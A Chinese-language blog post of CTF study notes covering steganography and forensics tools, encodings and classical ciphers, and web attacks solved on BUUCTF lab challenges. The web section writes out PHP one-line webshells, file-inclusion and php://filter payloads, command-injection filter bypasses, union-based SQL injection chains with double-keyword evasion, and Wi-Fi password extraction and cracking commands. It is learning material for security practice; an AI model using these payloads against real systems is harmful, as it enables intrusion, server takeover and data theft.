CTF系列学习总结篇

 

题目类型

  • 杂项(misc)

  • 密码学(crypho)

  • web安全 3

  • 逆向工程 4

  • 漏洞挖掘与漏洞利用(PWN,EXPLOIT) 5

 


一、MISC

1、文件的操作和隐写

01文件类型的识别

  • file

  • winhex

  • notepad++

  • 010编辑器

  • image-20220608210616735

https://down.52pojie.cn/?query=0

02文件分离操作

  • binwalk

    binwalk filename
    binwalk -e filename
  • foremost

    foremost filename -o 目标文件夹
  • dd命令

    dd if=文件名 of=目标文件名 ds=5 (块大小) conut=1 (取几块) skip=1 (跳过前面几块开始取)
  • winhex工具打开后将需要分离的部分文件导出并另存为hex文件,修改后缀即可。

  • 010编辑器将txt文件转换为hex文件即可得到目标文件。

03 文件合并操作

  • linux下

    cat 文件1 文件2 文件3 > 目标文件
    cat 文件* > 目标文件
    md5sum 文件名
  • windows下

    copy /B 文件1+文件2+文件3 目标文件
    certutil -hashfile 文件名

04文件内容隐写

  • 010编辑器+notepad++

2、图片的隐写

  • firework

  • exif (exiftool 文件名)

  • stegsolve

  • LSB(最低有效位隐写)

    stegsolve(analyse->Data Extract),在调整bit planes,bit order,bit plane order
    zsteg:   gem install zsteg //安装zsteg
          zsteg xxx.png
    wbstego4、
    python脚本: kali中对应同目录执行python xxx.py
  • TWeakPNG

    利用TWeakPNG修改文件头正常却打不开的文件,修改CRC,利用010编辑器修改CRC位

     

  • Bftools

    windwos cmd下对加密的图片解密
    格式:Bftools.exe decode braincopter 目标png图片 -output 输出图片名
    bftools.exe run 123.png   //显示上一步输出文件
  • SlientEye

    windows下使用,打开目标图片,image->decode

     

  • JPG图像加密

    stegdetect工具
    (linux)探测加密方式,有Jsteg、JPHide、OutGuess、invisible Secrets、F5、appendx 和 Camouflage等
    stegdetect xxx.jpg
    stegdetect -s 敏感度 xxx.jpg
    再用对应加密工具解密

     

  • 二维码处理

    CQR.exe
    反色(用截图工具反色在扫描)

     

3、压缩文件的隐写

  • 伪加密

    zip处理
    winhex打开搜索504B0102,从50开始数到第九第十位,修改为0000.
    RAR
    找到第24个字节,将4(加密)修改位0.
  • 暴力破解 ZIP

    Archpr.exe  工具解密
  • 明文攻击

    知道加密的zip部分文件明文内容
    假设加密的压缩包有 readme.txt flag.txt, 修改readme.zip明文 archpr执行,破解后获得密码,再去解压压缩包 ?

     

4、流量取证

  • wireshark过滤方法

    ip.scr eq xxxx  or ip.dst eq xxxx
    tcp.poot eq 80 or udp.port eq 80
    tcp.dstport == 80
    tcp/udp/arp/icmp/http/ftp/dns/ip....
    eth.dst == mac //过滤目标mac
    http.request.method =="GET"
    http contains "command" root ls pass flag key

     

  • 协议分级 统计—>协议分级

  • 流汇聚 右键 ->追踪流->http流 目的,查看原数据

  • 数据提取

文件->导出对象->HTTP   //文件分离
选中需要的行内内容->导出对象右键->导出对象导出分组字节流 // 二进制文件,结合dd命令分离文件
  • 无线流量包跑密码

加密方式WPA、WEP
【LINUX】aircrack-ng xxx.cap //检查cap包
aircrack-ng xxx.cap -w 字典.txt //跑密码破解

netsh wlan show profiles
netsh wlan show profiles "" key=clear
  • usb流量

    usb键盘流量抓取分析      
    LINUX命令行工具tshark: //将leftover Capture Data数据单独复制出来
    tshark -r usb1.pcap -T fields -e usb.capdata > usbdata.txt
    usb鼠标流量抓取分析
    python UsbMiceDataHacker.py usb2.pcap RIGHT
  • HTTPS流量分析 加上TLS套接层证书即可像http模式处理

     

二、密码学

1、密码学概述

  • 密码编码学

  • 对称密码与不对称密码

    对称密码 DES、3DES、IDEA、AES   //加密密钥和解密密钥相同
    非对称密码算法:RSA、ECC、ElGamal //加密密钥公开-公钥,解密密钥保密-私钥
  • 摘要算法 md5 SHA(sha、sha1用于CA和数字证书中) //数据签名、数据完整性校验

2、常见编码(工具使用CTF-Tools)

  • ASCII编码

    工具:小葵多功能转化工具、CTFcrack
    http://ctf.ssleye.com/
    编码的故事
  • base64编码 //后易出现==

    ASCII 2的8次方=256
    base64 2的6次方=64
    将3个8位字节转化为4个6字节,之后在6位的前面补0形成8位一个字节的形式
    • base32 //纯大写+数字,就猜是base32:

      MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

       

    image-20220608204644372

  • URL编码 //常见形式%xx

    字符->ascii码->hex->前面加上%

    %66%6c%61%67%7b%61%6e%64%20%31%3d%31%7d

    image-20220608205038421

  • Unicode编码 //常见表现形式 \uxxx

    Unicode 2的16次方
  • JS混淆

    image-20220608210509683

  • 莫尔斯电码

  • 敲击码

  • 换位密码

  • 栅栏密码

  • 凯撒密码

    变异凯撒:flag{ },所以我们可以从flagafZ_之间的对应关系找出规律

    image-20220616190658802

    image-20220616190528736

    可以看出其偏移量是对每个字符:从第一个字符的偏移量为5,第二个字符的偏移量为6……第n个字符的偏移量为4+n。偏移量依次递增

    ciphertext = 'afZ_r9VYfScOeO_UL^RWUc'
    j = 5
    for i in ciphertext:
    print(chr(ord(i) + j), end='')
    j += 1

    Quoted-printable:

    =E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6

     

    • ROT5/13/18/47

    rot13

    synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}

    image-20220615145108023

    维吉尼亚密码

     

    `brainfuck`代码,+++.>++

    使用在线执行网站运行即可得到flag, http://bf.doleczek.pl/
    Serpent 蛇
    http://serpent.online-domain-tools.com/

     

  • 代码混淆加密

    jjencode/aaencode
    jsfuck http://jsfuck.com
    jother
    brainfuck
    核心价值观编码 OK码

     

3、常见加密算法

4、摘要算法

 

三、WEB安全

1、文件包含

概述

文件包含函数: include(执行找不到产生警告继续执行),

include_once,

require(找不到文件产生致命错误,并停止脚本),

require_once

<?php $a=$_GET['a'] include($a); ?>

特点:存在符合php语法的内容则执行,不存在则原封不动输出文件内容,不需要考虑文件是否为php

  • 本地文件包含(LFI)

如:
http://118.22.14.40:8083/ctftech/2.php?file=/etc/passwd /flag ...

image-20220616104200286

配合文件上传拿shell

1、制作图片马并上传到服务器

2、使用文件包含漏洞,包含图片马

3、菜刀连接,拿到webshell

image-20220616105020127

练习:

1、
http://3f78f6a7-b53a-4f4a-aefe-6999e7849ac6.node4.buuoj.cn:81/source.php?file=source.php?../../../../../ffffllllaaaagggg

 

2、
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
http://830a2990-6f3a-4827-aebe-927a2fc30da7.node4.buuoj.cn:81/index.php?cat=dog
3、
http://9ceff4d4-ed9f-481c-b2a3-0f794db6facb.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

 

http://ff51df7e-d592-480e-b928-ed6ef06351da.node4.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

 

  • 远程文件包含RFI (VPS虚拟专用服务器)

image-20220616112055971

  • PHP封装协议(伪协议)

file()、show _source()、fopen()、copy()、file_exists()、filesize()文件系统函数和包含函数

常用伪协议:file:// php:// data:// zip:// phar://

image-20220616113234324

1、file://  不受allow_url_fopen与allow_url_include影响
2、php:// 
php://filter用于读取源码,是一种元封装器
过滤器
string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
....
php://filter/read=convert.base64-encode/resource=upload.php

image-20220616115038144

php://input用于执行php代码

image-20220616115930802

image-20220616115951589

2、文件上传

概述

漏洞产生的原因:

webshell: asp、PHP、jsp或者cgi与网站服务器web目录下正常的网页文件混在一起,执行并控制服务器。

<?php @eval($_GET['a']); ?>
<?php @assert($_POST['a']); ?>
<?php @$_POST['fun']($_POST['a']); ?>
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)

image-20220616154246263

image-20220616161443564

image-20220616161543833

.asp .cer .asa

大小写混用绕过

文件上传的检验方式

文件上传绕过

 

 


 

练习:

1'   1'-- +
1;show tables;#
*,1
1;set sql_mode=PIPES_AS_CONCAT;select 1

http://0309e2f9-7c40-44d6-97a6-2d8537b659ef.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1`ls`
//1、$IFS$1 跳过空格 2、cat `ls` //输出ls显示文件的内容
127.0.0.1
127.0.0.1;ls
127.0.0.1;ls ../
127.0.0.1;ls ../../
127.0.0.1;ls ../../../
127.0.0.1;cat /flag

 

3、SQL注入

1、http://d1aaf601-3bf6-4a74-ae9a-fe360ce647d7.node4.buuoj.cn:81/check.php?username=1&password=231'

http://d1aaf601-3bf6-4a74-ae9a-fe360ce647d7.node4.buuoj.cn:81/check.php?username=1&password=231' union select null,null,(select database())%23

万能密码:   ' or 1=1;#     1'or'1'='1             “or”与“=”被拦截:admin'+Or+'1'<>'1
1' order by 2;#
1' order by 3;#
1';show database;#
1'; show tables;#
1';show cloumns from `words`;# //``符号
0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为
select id,data from words where id=
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
*,1
1'or'1'='1 
1' union select 1,2,3#
命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
菜刀或蚁剑
构造payload:/?<?php eval($_POST["Syc"]);?>

burusuite
提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可
referer:https://www.Sycsecret.com
提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加User-Agent:Syclover
提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1

/calc.php?num=phpinfo()

[极客大挑战 2019]Upload
创建一个木马文件,以便后续用蚁剑链接
文件内容为 a.php a.php3,php4,php5,phtml,pht
GIF89a
<script language="php">eval($_POST['a']);</script>
用burpsuite抓包,根据提示,修改Content-Type的内容为 image/jpeg
蚁剑链接
URL地址为:/upload/a.phtml
连接密码为:a
[ACTF2020 新生赛]Upload
题目类型:文件上传,一句话木马
上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg
burpsuite抓包,修改后缀名
知道修改为.phtml后显示上传成功
使用蚁剑连接,URL地址为:http://848a2803-bdd9-4890-be0e-526c8ce1433f.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
密码a

 

2、union过滤,双写union select

那使用普通注入试一下,报错了,从这里可以看出过滤了 union select 。

接着使用双写方式绕过过滤,试一下。

username=admin&password=123456' ununionion selselectect 1 %23


从结果上看,虽然也报错了,但提示不是sql语法错误,而且我们提供的查询字段数不对。

通过进一步尝试,获取注入点

http://02ea23d4-08be-45be-97d5-4f76fe9a6fcc.node4.buuoj.cn:81/check.php?username=1&password=2' ununionion selselectect 1,2,3%23
爆库名
username=admin&password=123456' ununionion selselectect 1,2,database() %23

爆 所有库名
username=admin&password=123456' ununionion selselectect 1,2,group_concat(schema_name) from information_schema.schemata %23
从报错信息看,过滤了from information_schema,对其进行双写绕过
admin&password=123456' ununionion selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) %23
出现可疑库名ctf。
爆表名
username=admin&password=123456' ununionion selselectect 1,2,group_concat(table_name) frfromom (infoorrmation_schema.tables) where table_schema='ctf' %23
从报错信息,看出where又被过滤了,对where双写绕过
username=admin&password=123456' ununionion selselectect 1,2,group_concat(table_name) frfromom (infoorrmation_schema.tables) whwhereere table_schema='ctf' %23
报字段
username=admin&password=123456' ununionion selselectect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_schema='ctf' and table_name='Flag' %23
从报错可知,and又被过滤了,继续双写绕过
username=admin&password=123456' ununionion selselectect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_schema='ctf' aandnd table_name='Flag' %23
爆数据:
username=admin&password=123456' ununionion selselectect 1,2,flag frfromom ctf.Flag %23
flag出来了

name=a'+union+select+0,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123

 

 


给一个html文件夹,让找出后门,使用D盾扫描,notepad++打开查看即可,

d盾下载:https://www.d99net.net/

 

四、逆向工程

五、PWN

 
posted @ 2022-08-17 21:24  boomohg  阅读(594)  评论(0编辑  收藏  举报